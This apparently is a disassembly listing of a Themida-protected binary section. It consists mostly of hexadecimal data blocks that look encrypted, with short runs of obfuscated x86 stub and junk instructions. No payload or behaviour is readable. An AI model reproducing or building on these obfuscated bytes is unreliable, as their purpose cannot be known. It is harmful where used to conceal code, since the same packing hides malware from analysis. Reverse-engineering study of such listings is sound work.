0DA45C18Ch dd 0CB7F3BAh, 29A2069h, 216AAED8h, 1258B607h, 155CFF35h dd 3C751788h, 410C2EF7h, 0D6F406DCh, 0FCE28472h, 3C1558F9h dd 5F1233FCh, 7D3051D2h, 86C36F30h, 90D97F60h, 89C01A13h dd 0E34CC944h, 45DE4DEBh, 0F46E223h, 139089A2h, 7BB8FD92h dd 0DB902B2h, 75495FBh, 5FC46FB6h, 5FEBA2C6h, 0F79554F4h dd 9E58C5BEh, 32A153A7h, 8A175AFCh, 0EF347919h, 93228328h dd 30AAB00h, 709E2C65h, 30EB19E6h, 0CCDD420Fh, 451C1532h dd 8E540626h, 0E4342D52h, 9C4AF123h, 50E6086Ah, 0CC51FA39h dd 42783153h, 89C47208h, 5A29A1E4h, 0A6D418C8h, 0D436E82h dd 953E8414h, 0F571BEF7h, 0F325680Ah, 0BCABFE75h, 0CC89A56Ch dd 0D491BE67h, 0C263C84Fh, 4CD198BBh, 2B33625Bh, 0AC3F7B8Dh dd 10D6CBCh, 73E3710Ah, 51C77072h, 123239FAh, 2044AF5Bh dd 45D3C469h, 8DAE11FFh, 7DDF68C0h, 19FA20C6h, 0D49DBB7Ah dd 33655E4Fh, 64A70235h, 0CA57C073h, 64A70400h, 59BAA073h dd 0A0EB838h, 0F87364A7h, 5932665Fh, 6EEDAD8h, 1309D6D3h dd 12000000h, 703559BAh, 98DD7233h, 8F29021Bh, 3C300h dd 5DFF1B00h, 72168F14h, 4248F3Bh, 0F5EEA7C5h, 0DD4AC0A3h dd 662F4D54h, 75DD7F20h, 52155A65h, 0AB08E1E4h, 7A3F54BFh dd 15B4E435h, 20AAB0EFh, 36107562h, 0F853C5B8h, 880C3037h dd 58353A7Eh, 362F08AFh, 60294FF0h, 96BC27C3h, 0DB5D4ED3h dd 4F7B3E54h, 1A285C0Dh, 48E02551h, 0F6BF14DBh, 0BA0049EFh dd 9AE14B40h, 7A37582Eh, 0AEE3832Ch, 0BFFA9778h, 5B551B27h dd 66B27823h, 377A1C85h, 0E30BEAh, 0B3FA9A5Fh, 0D44455DAh dd 8FAFB67Fh, 38D224C2h, 0B85F2615h, 4FD0BAFEh, 0D4h, 0E9ABE76Ah dd 0C01D1B5Dh, 4EEE5FECh, 20812E07h, 4DF6347Dh, 3D3D622Bh dd 0AF5800FDh, 4B52D3F8h, 7D26642Dh, 0BF2371DDh, 32F1A353h dd 284BD459h, 0E4513C61h, 5F12343Bh, 0E22748ABh, 84140D40h dd 0B8F5953Eh, 989AA7Bh, 57FBBBFFh, 0D96389AFh, 0AF57FBE1h dd 0A69F88A3h, 0CC85A879h, 329ABE67h, 0A1900BE2h, 0DA4730B5h dd 3F642949h, 69CA63EEh, 258E27EAh, 0F5317C1Eh, 0CF82A40Fh dd 0E8A5C669h, 7CFF244Bh, 940D92D7h, 2576BBFEh, 41EEA3C4h dd 382763A5h, 321DAF58h, 0FE7D268Fh, 0B8C26872h, 0AF583880h dd 0D44FE942h, 6E23444Bh, 9CD577D8h, 37D0D717h, 3AB7AF58h dd 86A53779h, 6AAED806h, 58AF57E7h, 8118E7FFh, 8EAE71A7h dd 3F642D4Fh, 8AB1F5EEh, 8F145DFFh, 0F23F7616h, 161D862Fh dd 11EB3F76h, 0AF57DBF2h, 25678D39h, 0AF57DBE5h, 702474DFh dd 12DFD785h, 0FFFF0460h, 0F5997AFFh, 0C93A73B0h, 6FB8E5A8h dd 30BAE2C9h, 6F04B9EDh, 5A94852Ah, 0C7D4BDEh, 0ABFC2168h dd 291ABA0Dh, 0BC6A430Ah, 6E1BF03Ah, 56C2A633h, 3F14668Ch dd 0B0A43FE0h, 8C63E533h, 76B60070h, 298A50DDh, 4BD44409h dd 5A456128h, 0FB2C7134h, 0C96CD7BDh, 0B5C72380h, 916941E9h dd 278820E6h, 40E14E0Bh, 79EFB21Eh, 0E12E526Fh, 58FAAB08h dd 95028815h, 0BD2E8D0Ch, 74EEDF4h, 347D2083h, 0BF286FEFh dd 0C865B600h, 0FC3D6067h, 0EE3C155Ch, 0C26F2645h, 0BA60DB79h dd 0A8EC1500h, 0C644EFBCh, 0BE6CD745h, 5836EA0Ch, 8B2D8C3h dd 0C3583710h, 2ABCF593h, 0B77DC901h, 48D5A9FDh, 0AB14D25Fh dd 672E4E8Bh, 0A008E13Ah, 96145DFFh, 0AFCE0F2Dh, 7760B9E6h dd 0B4BA3C2Ah, 6B46A225h, 0D4904534h, 0ED744E1Ah, 788ABD4Bh dd 7F193FF2h, 1538E936h, 0BB10D75Ch, 0D11F7BFAh, 781911ABh dd 0A1EB3FF2h, 8F259635h, 0E3352E14h, 0FCA0A708h, 0ACCE71B5h dd 1986CF69h, 5C8A1700h, 9909D91Ah, 0A90F0870h, 822F6606h dd 0E74C0121h, 0C855103Eh, 3C43EC49h, 0D0C9561Bh, 51D2B9E7h dd 45D85541h, 0E6B082h, 0FF8B0000h, 30931752h, 3E7A8C08h dd 4AF57D7h, 0D29BBA2Bh, 27635C4Dh, 7793D67Ch, 728E98Ch dd 0DBB4E54Ah, 69D34556h, 37722083h, 0D81D3EE1h, 64B5FAB7h dd 0F3943F8Bh, 0D05D1836h, 8D66234Fh, 8DAD1694h, 0BBD97AC0h dd 680BB4F2h, 781A8521h, 0D72EBD35h, 0AA1F0B2Ch, 1C5E840Eh dd 0D577E91Bh, 0AF5803D5h, 3B4A84AFh, 0CB69DA18h, 0AC0C1D82h dd 84A76203h, 766F2645h, 0B6B4109Dh, 37612C4Dh, 0A8CB54h dd 0D3D286A4h, 24896273h, 0D92D77Bh, 76BBFE94h, 0DA59DAF3h dd 35159E37h, 7A959537h, 684BAF58h, 0E12F89C0h, 8F74F036h dd 4EA33553h, 0B1780CB6h, 3BBBFF07h, 7981AF58h, 676F9ADh dd 0CE6AC505h, 8B41h, 69916400h, 0AF57D734h, 1E83CE6Fh dd 63558ECh, 0F86911CAh, 3D901D54h, 0A968E748h, 6BD0A30Ch dd 0F31752FFh, 0D6F73355h, 62CDAF57h, 45E34C36h, 7915BE0Ch dd 0E1DA9FB4h, 2D6D9FC5h, 17AF57D7h, 0E816FC3Ch, 0D7003842h dd 69C2AF57h, 723F60CFh, 0A7EA8B34h, 44738563h, 96603293h dd 179CD577h, 248B2D06h, 58FB4F02h, 66497D34h, 6C216EC6h dd 860CF751h, 1E810BADh, 6FF0367Fh, 0Ch, 0AF30BA4Ah, 6A40AFF7h dd 0A29959DFh, 8C1158FFh, 0F4397013h, 0E340092Bh, 0C06D2042h dd 2E733E5Fh, 1499D475h, 7DA2E78Bh, 60CD84A4h, 4AD792BFh dd 5FD368FAh, 4890000h, 0E1895124h, 4C181h, 0E9810000h dd 4, 5C240C87h, 68241489h, 5D6Ah, 57241C89h, 852476BFh dd 0BDB85026h, 2151716Bh, 0E78158C7h, 2D78615Ch, 912C781h dd 0EF817922h, 7272DE36h, 815FFA89h, 4ECh, 24248900h, 4240483h dd 8B8505Bh, 1000000h, 0D68956D8h, 585E3089h, 5B2434FFh dd 0FF04C483h, 835A2434h, 0A3E904C4h, 19FFF92Ch, 0D7F5A187h dd 6B3D6A6Ch, 0B8F765DEh, 6AF50A4h, 0D38BC503h, 75FDED55h dd 76F67A5Eh, 56E669A4h, 1BFD49BCh, 79FD2124h, 0BEFD210Ah dd 1CFD211Ch, 0EFD2194h, 0E4FD2151h, 0CDFD21B3h, 0A2FD21C2h dd 99FD217Ah, 0C4FD2126h, 9DFD210Bh, 0F6FD211Ch, 53FD2196h dd 30FD2152h, 1DFD21B0h, 0D9FD21C1h, 2DFD2178h, 9DFD2124h dd 95358A25h, 76D6A222h, 5CDE714Ah, 5CF44BBDh, 75FD7A5Ah dd 75F57227h, 74FD7997h, 73FD78CBh, 74F57DEDh, 74FC7BF3h dd 75FC7B78h, 75FD7ABCh, 76FD7A5Eh, 75A61832h, 75A619BBh dd 75FD7ACBh, 74FC7BE4h, 74FC7BF3h, 75F8B290h, 0F0701ABCh dd 73522F15h, 247FFFA6h, 0F0707C38h, 73522FAAh, 24BFFF6Ch dd 0F0707C5Dh, 73522FE6h, 2483FF35h, 0F0707CF1h, 73522ED0h dd 24BBFF1Eh, 0F0707C64h, 73522E5Bh, 24B7FF7Bh, 0F0707CD6h dd 735229E0h, 24B3FFD7h, 0F0707C80h, 735229F9h, 24AFFF42h dd 0F0707C4Ah, 73522976h, 24ABFFF0h, 0F0707C13h, 73522981h dd 249FFFA6h, 0F0707C38h, 73522960h, 24A7FF6Ch, 0F0707C5Dh dd 735229B3h, 24A3FF35h, 0F0707CF1h, 735229F0h, 249FFF1Eh dd 0F0707C64h, 73522EFCh, 248FFF7Bh, 0F0707CD6h, 73522E84h dd 248BFFD7h, 0F0707C80h, 73522ECCh, 2487FF42h, 0F0707C4Ah dd 73522E56h, 249BFFF0h, 0F0707C13h, 73522E85h, 2497FFA6h dd 0F0707C38h, 73522FBDh, 2493FF6Ch, 0F0767C5Dh, 73557ACCh dd 2446FF35h, 0F0767CF1h, 735572F2h, 2442FF1Eh, 0B69C7C64h dd 9D11F1B0h, 75FD7AF2h, 0BA17FB23h, 25FBD5EEh, 0FDF53FD5h dd 0DAACC0ADh, 0B7342291h, 23AC7ACFh, 20AD29B7h, 75FD7A1Ah dd 987C2779h, 7352284Ch, 24BCFFA0h, 0C87D7C80h, 73522BD6h dd 0C5B409CFh, 0B54B75E4h, 3589BAF9h, 2442EF86h, 0FEBD7C13h dd 7A452B96h, 8AFD7A2Fh, 0DAACC502h, 3748F7CDh, 0F8FBD5B4h dd 9D50FCC6h, 75FD7E4Bh, 76456FCFh, 8AFD7A5Eh, 0DAACC5BAh dd 3748F791h, 0F8FBD59Ah, 8A50FCD1h, 0BC1F2322h, 24BCF787h dd 2DA07C13h, 2CA32005h, 776D92ECh, 0CD4D7A97h, 8A5779C1h dd 0DAACC170h, 9D3ED1F4h, 75FD7807h, 0CD9BC2DAh, 0DE9B5954h dd 2446EFD0h, 0DE9B7C38h, 77959208h, 360B7AE5h, 6E8872F3h dd 2446EF86h, 0C54D7C13h, 8AAD7954h, 0DAACC1BAh, 0F69B2091h dd 7E9B7E2Bh, 0B6561C27h, 75FF6B1Ah, 4E152979h, 2FFD7ABEh dd 7B89A065h, 913D59A5h, 0F5DF7094h, 0FE4DBA07h, 9D3ED183h dd 75FD7B00h, 77E1922Ah, 4EA77ABCh, 0C5120E84h, 0A916D049h dd 75FCA77Fh, 74BE8CCBh, 26D30FEDh, 75FF7B1Ah, 360B2079h dd 548872BDh, 6889A065h, 913D59A5h, 0F5DF7094h, 0FF4DBA07h dd 0CE6885B5h, 2FFBD5A3h, 51FD5F1Fh, 133F71DAh, 0E94DB9F5h dd 74BD9285h, 0F44D7A97h, 74359261h, 2D157AE5h, 0DEFD7AF2h dd 75FC5791h, 0DF60CABCh, 0DF61CA9Dh, 75FC5BC7h, 13451C97h dd 9D561C4Ah, 75FD7B43h, 75FD4C1Ah, 9D561C79h, 75FD7BB6h dd 0B657E7EEh, 9D57E69Fh, 75FD7A69h, 75FCF323h, 74BE8CE5h dd 0C5F20FFAh, 6515D0F9h, 0DFFD7ABCh, 7DF99EDEh, 0AA158448h dd 0C5FD7A97h, 0CD3ED056h, 75FD7AE2h, 2442EF0Dh, 0C0707CD6h dd 73522B3Ah, 7F518A5Dh, 0E002D02Ch, 73522B2Ch, 74E59208h dd 254D7AE5h, 9D5779F8h, 8A02844Bh, 75FC4354h, 7FA5CA5Eh dd 0C53ED02Ch, 274DD0C7h, 8BE19261h, 0CD9B851Ah, 0DE9B4BFDh dd 8A036B91h, 0DFA7CA43h, 0B65722EEh, 2257929Fh, 750C923Ch dd 0FEA77ACBh, 0F63F5122h, 77747E1Ah, 8A008B91h, 75059243h dd 2D4D7A5Eh, 0B6577925h, 24C5FF69h, 0C87D7C64h, 73522BDDh dd 0F8EC0FF3h, 0DAACD0FCh, 61152ABAh, 9DFD7A5Ch, 75FD781Bh dd 9D571A27h, 8A028775h, 8A00C30Dh, 0DF9CCA0Dh, 24C5F787h dd 0C87D7C13h, 73522B66h, 0F8F10F2Fh, 0DAACD012h, 0DE152ACDh dd 0B6FD7AE4h, 75FD7E4Ah, 0CA688579h, 0F8FBD5EDh, 0DAAB7DC3h dd 6DF9F029h, 9C4DB93Dh, 9D562D61h, 75FD7A8Eh, 5E3AF1A8h dd 7115F9BBh, 8A3E7835h, 0DAACC1CBh, 514ACE29h, 0C1FF0E96h dd 13F2CA74h, 75C9924Eh, 9DAE7AF2h, 75FD7A27h, 0B5FEF0E6h dd 0B5F179BEh, 0B6577825h, 2446EF68h, 917D7C64h, 0F539FAEAh dd 0DE9B7542h, 5A15D12Eh, 2F028541h, 0B7D6BDD5h, 0FCF992ACh dd 7345B995h, 8AFD7ACBh, 0DAACC570h, 0EB60F7F4h, 0F8FBD528h dd 0CD3E39A0h, 75FD7A4Eh, 2442EFD0h, 0B57E7C38h, 8935F1CEh dd 2446EF1Ah, 97577C5Dh, 0BE15B98Eh, 0FF028543h, 72D97B1Dh dd 76778E5Ah, 75FC6C7Fh, 0B61608CBh, 8908831Dh, 0F611F1A7h dd 9D9D86BDh, 75FD7ABCh, 6217FB04h, 0FCFBD579h, 0CF7D86EAh dd 73522B71h, 0EC7975E5h, 0CDFD7AF2h, 75FD7A73h, 2442E843h dd 0FCBD7CF1h, 0DAACB9ADh, 0F835F191h, 0DAAB9179h, 0CE6F85E3h dd 0FDFBD5A3h, 801F3C7Fh, 75FD6D04h, 0B67F795Eh, 35FBD57Eh dd 2322E01Ah, 0B67E7C64h, 22FEF3E1h, 75FD644Bh, 0B6777979h dd 0F8FBD5EDh, 0DAABB7ECh, 2B598929h, 75FD722Fh, 0CA6F85CBh dd 0F6FBD5B4h, 85897E0Ah, 72447C71h, 7DFD7ABCh, 0C3F24B5Ah dd 761EBBF7h, 75FD742Eh, 44E172CBh, 75FD765Ch, 44F972F2h dd 75FD61C0h, 44F972BCh, 75FD66E7h, 44F9722Fh, 8A015B7Fh dd 8980F334h, 8980F184h, 9DADB93Bh, 75FD7A7Fh, 1102229Ch dd 0FCA58E7Ah, 0E9055E6Bh, 89D93E16h, 67C92CB3h, 0B6AD3A78h dd 75FD7AF2h, 75FD7A79h, 0FEA87ABCh, 75151AB2h, 2FFD7A2Fh dd 23039016h, 0CF707C64h, 73522B22h, 0CCF50F79h, 75FD7A71h dd 0BC9CDE4Fh, 26FD7E9Ch, 243AE7A2h, 497D7C38h, 71887BD3h dd 771683BEh, 203E82A9h, 9D9D96F2h, 75FD7ABCh, 4217FB04h dd 0F8FBD578h, 0DAACBD25h, 7D80F1CDh, 75FD725Ch, 145989F2h dd 75F9B8B0h, 0B240F7DCh, 46FBD50Fh, 75F5C3EFh, 0DF0E7A97h dd 0F89DB9AAh, 0DAACBD58h, 74C2FBF4h, 0FC7B78h, 7182FBB0h dd 74FC7B5Fh, 9E04795Ah, 0B69C8296h, 0B240F7ABh, 0CDFBD5B4h dd 75FD7AF3h, 75FD72C0h, 145789BCh, 0FE3DF19Dh, 0A178F7EFh dd 8AFBD5C6h, 0E9CA8BD0h, 2Ah, 2404C7h, 0E8000000h, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 6AF57B7h mov eax, [esp+4] mov [ebp+6A830BDh], eax mov eax, 0 lea ecx, [ebp+6A84FAFh] jmp ecx ; --------------------------------------------------------------------------- mov eax, 6754h dec dl push edi push ecx or ch, [eax-75B1262Ch] xchg eax, edx push ecx or ch, [eax+75EAD5ABh] push 56h or ch, [eax-75B1212Eh] mov edx, 8F57AE5Dh fimul word ptr [esi-76h] pop edx push edi or ch, [eax+75EAD5ABh] sub eax, 0FDA80A57h fisttp word ptr [esi-76h] scasd push edi or ch, [eax-75B12381h] and [edx+ecx-58h], edx stosd aad 0EAh jnz short loc_5BF24F das aam 0ADh or eax, 0C0031385h jle short near ptr loc_5BF239+1 pop es push edx cmpsd nop stc loc_5BF239: ; CODE XREF: Themida_:005BF232j sbb al, 0Dh push edi and ecx, edx retf 2542h ; --------------------------------------------------------------------------- inc ebx das aam 62h or eax, 0C0031385h inc esi push es pop es push edx cmpsd loc_5BF24F: ; CODE XREF: Themida_:005BF228j nop test al, 1Fh or eax, 0C6D12157h inc edx and eax, 0D1D42F43h push cs test [ebx], edx add eax, eax push edx push es pop es push edx cmpsd nop inc esp pop ds or eax, 0D2D12157h inc edx and eax, 0BAD42F43h jnz near ptr 5F1BF58Eh push es pop es push edx cmpsd nop rcr dword ptr [esi], 1 or eax, 2ED12157h dec ebp and eax, 34D42F43h jnz near ptr 0AB1BF5A6h or [edi], eax push edx cmpsd nop push edi push ds or eax, 26D12157h dec ebp and eax, 0B6D42F43h or [ebp-4D3FFCEDh], al or [edi], eax push edx cmpsd nop fstp qword ptr [ecx] or eax, 3ED12157h dec ebp and eax, 12B8C343h push eax sub dl, ds:0D24ECEDFh insb test al, 4Ah std mov al, [ebp-5Eh] push ecx repne aad 0C0h stosb shr dl, cl movsb xchg eax, esi in eax, dx test al, 2Ah adc eax, 2429458Ah mov al, ds:0B496E367h mov edx, 54A1D5ADh sub dl, ds:5564C6CBh inc ecx mov edx, 0CE75EAD5h arpl [esi-42DD76C6h], bp mov word ptr [edx+eax*2+2211AB53h], es jmp far ptr 0ABA4h:245D55FFh ; --------------------------------------------------------------------------- dw 9C3Ah dd 0DAC3B9CFh, 0D7E3A8EDh, 0DAF74586h, 0E9EED744h, 59D7CEEAh dd 0D2262923h, 51A2B9CFh, 0AD6C54A8h, 51A24162h, 0BFEA6603h dd 0DB2FEE27h, 1385064Dh, 1129475h, 0F0A0D902h, 0AEA4EAD8h dd 51A1EC79h, 0DC0941AEh, 0BA78B122h, 3773BA8Ch, 732ADF10h dd 0B428C821h, 0EA2CFBFAh, 152BFD5Bh, 9881508Ch, 0FEF0A000h dd 0A5FBABAEh, 2C89EFD2h, 0E957DDA4h, 0ADE7CEEBh, 15229661h dd 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah, 6AC0D5F2h, 0DAA4EAD3h dd 68A15CDDh, 0ADE78286h, 152A54A8h, 0E430BACCh, 9E2CFCA8h dd 0FC69CE52h, 0A5B99783h, 0FA31EFE2h, 0F0A0D9F9h, 0AEA4EAD8h dd 949A0D79h, 551A2320h, 8481328Ch, 5DDF6E21h, 74D62921h dd 985E0001h, 402A5C6Ah, 9521A901h, 15C23454h, 0BA2458Ah dd 4CFCBE29h, 24294325h, 1957DFA0h, 515E004Dh, 532A54A8h dd 5117D775h, 0CDA15200h, 0FC69CE19h, 0A5B9979Bh, 0FA31EFE2h dd 0F0A0D9F9h, 0AEA4EAD8h, 949A0D79h, 651A2320h, 8481328Ch dd 5DDF6E21h, 74D62921h, 985E0001h, 402A5C6Ah, 9521A901h dd 60A13454h, 5DDFCE82h, 15D6116Fh, 0FDA2458Ah, 1DC9953Bh dd 919197B9h, 38F2DE04h, 51A2454Ah, 1AD5A828h, 51A25E0Eh dd 1523EDA8h, 0A055458Ah, 9025862Dh, 51A24586h, 7332A328h dd 37AA8E4Bh, 0BE4C9723h, 0D8AE38A1h, 9E4BA8D5h, 936BB9CFh dd 9E7F54A0h, 0AD66C666h, 1D5FDFC8h, 96AE3801h, 152AA8EDh dd 0C20E458Ah, 2622B769h, 0FD627658h, 0D5078C22h, 0D1A2458Ah dd 9125AB54h, 51A24593h, 152A5D11h, 0D453B28Ah, 1FAF5B7Ah dd 0E0A2458Ah, 93E25610h, 9191EF4Bh, 19577F03h, 305E3803h dd 0DCD61123h, 4A24D48h, 0D1A9B823h, 24292576h, 1957DFA0h dd 515E004Dh, 0B92A54A8h, 0B2229D00h, 85E1D4A7h, 0DC088600h dd 0BA78B122h, 0E173BA8Ch, 9FA7FEF8h, 570D176Fh, 0D6A08557h dd 5DDF6E20h, 74D62921h, 985E0001h, 402A5C6Ah, 9521A901h dd 60A13454h, 5DDFCE82h, 15D6116Fh, 0E9A2458Ah, 152A54AFh dd 597FD775h, 45265200h, 0B428C820h, 0EA2CFBFAh, 0FB2BF55Bh dd 3186949Bh, 59622E85h, 0A58050ACh, 2C89EFAEh, 0E957DDA4h dd 0ADE7CEEBh, 15229661h, 0D24ECEDFh, 9E4AA86Ch, 2C294DFFh dd 0E96F93A4h, 51A2458Ah, 87D5FE04h, 570A453Fh, 17868C23h dd 0DB2FEF49h, 1385064Dh, 0E9C49475h, 0BE4CBD28h, 7A088600h dd 68A358D5h, 14292476h, 1DE89D54h, 0BD29108Ah, 75D6902Bh dd 0DAAA3001h, 50ED58D5h, 51A24576h, 0EA80F8A8h, 0F9A2F018h dd 0B9E2DFAEh, 0DC088558h, 0BA78B132h, 3771BA8Ch, 73E39410h dd 0FB63CF21h, 9C262983h, 0DAC3B9F7h, 0D7E3A8EDh, 0DAF74582h dd 0E9EED744h, 59D7CEEAh, 0D2262923h, 51A2B9CFh, 0BF8654A8h dd 5117D775h, 0DDA15200h, 0FB637726h, 47CFCE25h, 825D4325h dd 0E4AAECCEh, 9028EEECh, 19577F02h, 305E3803h, 0DCD61123h dd 4A24D48h, 0D1A9B823h, 24292576h, 1957DFA0h, 515E004Dh dd 732A54A8h, 376B7732h, 0F0B0D903h, 0AEA4EAD8h, 9592327Bh dd 0FD09234Bh, 6801FE04h, 0ADDFCC86h, 0E96FDFC9h, 51AA8743h dd 96C6DFFDh, 0DAC2B94Eh, 68A15CDDh, 0ADE78286h, 152A54A8h dd 0B824FDECh, 8FA7FFCEh, 570D176Fh, 0A09A8757h, 0FB0E0320h dd 47CFCE25h, 825D4325h, 0D8ACECCEh, 2C89EEECh, 0E957DDA4h dd 0ADE7CEEBh, 15229661h, 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah dd 0B2C0D5F2h, 96A4EAD6h, 152AA8EDh, 2429458Ah, 1957DFA0h dd 5E917926h, 152A1E2Ch, 5E89798Ah, 152A162Ch, 5ECA798Ah dd 152A492Ch, 5E13798Ah, 152A382Ch, 5EF2798Ah, 152A5C2Ah dd 5EFA798Ah, 152A6B2Ah, 51D6AC8Ah, 60D554A8h, 59D7BA86h dd 42F6CE25h, 0DCF14325h, 0BA72E732h, 0D871BA8Ch, 42C3A8EDh dd 0AEA2458Ah, 60D558DDh, 0BD38C882h, 462CFBFFh, 911DF07h dd 0C6D55207h, 0B85E0003h, 152A5492h, 0AEAE3075h, 8FA75CDDh dd 570D1272h, 0A6B0D9FBh, 0AEA4EAD2h, 0E96FDD7Bh, 51A25863h dd 195FABA8h, 0DCAA3075h, 0BA725032h, 0CB2F168Ch, 13850C1Bh dd 142B9675h, 152ABD54h, 0DAC3458Ah, 0D7E3A8EDh, 44BA4582h dd 8D000030h, 0AF5E038Dh, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 0FCCDAB13h dd 8D89C38Bh, 6A805B9h, 6E9h, 3E80C300h, 0C7082152h, 0A8146985h dd 6F9C06h, 1DD08100h, 0C7529C1Ch, 0A80BBD85h, 6, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 0F47834F2h, 0B5FFF750h, 6A8298Dh, 5B59E781h, 95FF1B23h dd 6A820DDh, 6CEB9CB8h, 0FF006A52h, 0A81B3195h, 0EBC08B06h dd 54D72D59h, 65174A73h, 0B5E1CCE6h, 8EF8CCAFh, 13872B7Bh dd 0AAE45CAh, 35B5472Ch, 3E269AC9h, 7F8229B8h, 5F2E4145h dd 61D8CA2Ch, 9E772A7Fh, 5EF71322h, 6CD62C0Bh, 178C555Bh dd 0C13124C7h, 5E4AC833h, 63B1D760h, 0E763490Fh, 0F9417674h dd 4254A8B9h, 4A08AD55h, 1FE99F9Eh, 42000000h, 2D30A7h dd 6 dup(0) dd 24E90000h, 75000005h, 0A40F9BD2h, 0D37CCA8Fh, 5AEFCB5h dd 359E2C69h, 46CD5914h, 0F3BEDF33h, 276A0CB7h, 551C40E3h dd 86CF6ED1h, 446A400h, 0B6073504h, 7152B8FEh, 0B1098DDh dd 0F1155CFFh, 0AC266F0Eh, 7C4C1F0Eh, 2E9D1B2Eh, 0D99D475h dd 0B0FB9E7h, 0F9AF58BFh, 3655DA5Eh, 0D271327Fh, 0E7C8169Bh dd 0FFA00841h, 0B3FE9F52h, 0A7CC55DAh, 41E4BDE2h, 5BFAAB08h dd 359C8D12h, 15981798h, 55F8FFA0h, 7258E1Ch, 1137984Eh dd 0C96AD058h, 0E4BDE2ABh, 5FA20F42h, 0E3AD76h, 0B1F89B5Eh dd 0D6425BD8h, 24622B49h, 7919D87Bh, 14D65B34h, 0AF58BF11h dd 0E9B37C7Bh, 0BF013943h, 68C3AF58h, 3E7854C0h, 589F12DFh dd 0A0000000h, 0FB9D5CFFh, 9254D9B2h, 0AF57D794h, 2230F1E6h dd 12DFD636h, 1D1h, 52FF6A00h, 735C8A17h, 82B9CD5h, 6DCBDC41h dd 7109ADC2h, 0AFAEE14Bh, 56CF544Dh, 66497D38h, 0B92A8EC7h dd 8DAF10DAh, 0EA4E5FC4h, 84A9B071h, 3DBEFA0Ch, 0AB84AF58h dd 0A8CB74B2h, 0BA7EA5E1h, 2E733A59h, 53F4BBFDh, 1F33F296h dd 0EBC4D55Ah, 5FF4ADF2h, 6C0C951Ah, 727F825h, 0F229E54Ah dd 0F65FA231h, 83C5632Dh, 0AF57D787h, 0D946D27Dh, 4BB1F5B8h dd 9E9DE001h, 892F7490h, 0E14E0726h, 69DDF05h, 0ABF4743Ah dd 413F7B83h, 0C364AF58h, 45D37C8Eh, 0AAF7BEDAh, 0B6C46DC6h dd 12DFBE2Ah, 0A42Dh, 5EFFF600h, 6AB7FA9Bh, 0FDFDB931h dd 0F36D647Dh, 6C0C951Ah, 63C08DADh, 53CC514Ah, 6B347930h dd 256809C8h, 69B6AFF8h, 9571E5D1h, 3D7096E1h, 0C568E748h dd 0A7C8CF50h, 52F35CEAh, 5770A8D2h, 1033AF58h, 3C3D459h dd 31F23F28h, 75DB581Dh, 14B159Eh, 0BC4D2F0Dh, 1DAF5B8Fh dd 0AF585E1Dh, 48EC4CE7h, 12DF53ACh, 6BABh, 30BA7C00h dd 0FF7C8AFEh, 951A9E60h, 0B81C31F4h, 48229F34h, 0B1FED743h dd 280148F0h, 0DB6D8B3Fh, 0AF58A9DFh, 0BD2E8AA5h, 0A40940E4h dd 0F169F14h, 0C48DAB6Eh, 0D1554E5Fh, 0EA1CBAEAh, 0AF57D6AEh dd 2B4ABB94h, 0C4693662h, 0FF246909h, 0F268B5AEh, 0D6F63254h dd 63CCAF57h, 0D6F43335h, 5146AF57h, 0D6D6C2D0h, 13112DFh dd 0A000000h, 753859BAh, 0F6B9FF28h, 0BCF59352h, 0E04D2677h dd 6E981C3Fh, 0AF57D72Ah, 0D9463F18h, 0A8F4BD16h, 0D6C0F802h dd 0A982AF57h, 0B1F8A00Fh, 0D962D275h, 0E4409B2Dh, 2902B5FFh dd 3D7012FDh, 7C9B46F0h, 0F1C462DBh, 72339018h, 0A30C9AD3h dd 0E264C980h, 0B60029A4h, 561A9B10h, 1187CE6Dh, 60A6EF8Eh dd 0EE570FAh, 0EC5C4D95h, 940E34Ch, 9958FBA4h, 3E6FB4F9h dd 0FC59D845h, 40092C33h, 6C6652FAh, 28811477h, 9A000001h dd 0E986B5E7h, 514A0F24h, 0C4E2DBCCh, 73F82h, 852A05B6h dd 8A30791Ch, 6DEDA6Ch, 8BA4B600h, 13B9A72Dh, 6B1E9h, 70B893B6h dd 58C58CAFh, 40EDA4C7h, 0A9F6B3DFh, 921F5AF8h, 0FE3D7011h dd 0AA15A40Dh, 0FA99A001h, 87AC17B3h, 0EC4C5DC2h, 2852F866h dd 0B60006F0h, 7B3F79D2h, 1477E68Fh, 476Eh, 0B6E7B100h dd 4DADDF0Bh, 372F57D7h, 5357971Ch, 452F57D7h, 0F52645EEh dd 0D4769C4Ah, 2F57D6D4h, 0C91385AEh, 521F40A3h, 0D6E800C6h dd 50FEAF57h, 57D6F236h, 3167D0AFh, 1D86240Fh, 0BCED327Bh dd 7C0D967Ch, 28000000h, 0D80EB5E7h, 0B63251B2h, 57D71414h dd 6C45EEAFh, 0A633ACCh, 0F305B600h, 2FB816BAh, 6F264697h dd 0F2365076h, 0D0B60055h, 240F3167h, 4E0726FFh, 7D3457F8h dd 0AAC92A30h, 72B3B5E3h, 0DEB60057h, 26454CD5h, 0CC60DB6Fh dd 53295377h, 31BCAFB5h, 0B579B1CBh, 0E04BBCAFh, 5AF9AAF7h dd 73B0F99Bh, 0E0A5C93Ah, 2C716A43h, 1F802Dh, 0B7F29FACh dd 0FC9E28DEh, 0C6C35F13h, 0E7F2D96Dh, 0AED80EB5h, 0B60735CCh dd 86699DB6h, 377220E5h, 50D8B1EAh, 0BFC977F3h, 0B607367Bh dd 0E54AEE49h, 18BB0F46h, 0BDFFDD75h, 0E03507Fh, 12EC0B4Dh dd 0D9B2B423h, 0FD079254h, 3DAEE1A6h, 4ACE6D74h, 0A6FCF830h dd 8861CAE1h, 0BBF29132h, 4C81AD76h, 0C45E829h, 2C9D8E13h dd 0CBDC4108h, 218A4DD2h, 5EDA7980h, 0A6FCEC2Ch, 847DD6E1h dd 3FFE9D06h, 0D1CA5712h, 14CABBF8h, 0ED000000h, 0AEEA1CBAh dd 94AF57D6h, 47FD7DBBh, 2C71385Ch, 0FF76BDFBh, 138C1158h dd 2BF43970h, 42E34009h, 5FC06D20h, 752E733Eh, 8B1499D4h dd 0A47DA2E7h, 0BF60CD84h, 0FA4AD792h, 815E5456h, 4C6h dd 4EE8300h, 5C243487h, 171D68h, 240C8900h, 62C568h, 242C8900h dd 7DEEBD55h, 814D0AECh, 0F52109F5h, 6EF58132h, 553EB602h dd 8B545D59h, 0C483242Ch, 638F6804h, 14890000h, 8BA24h 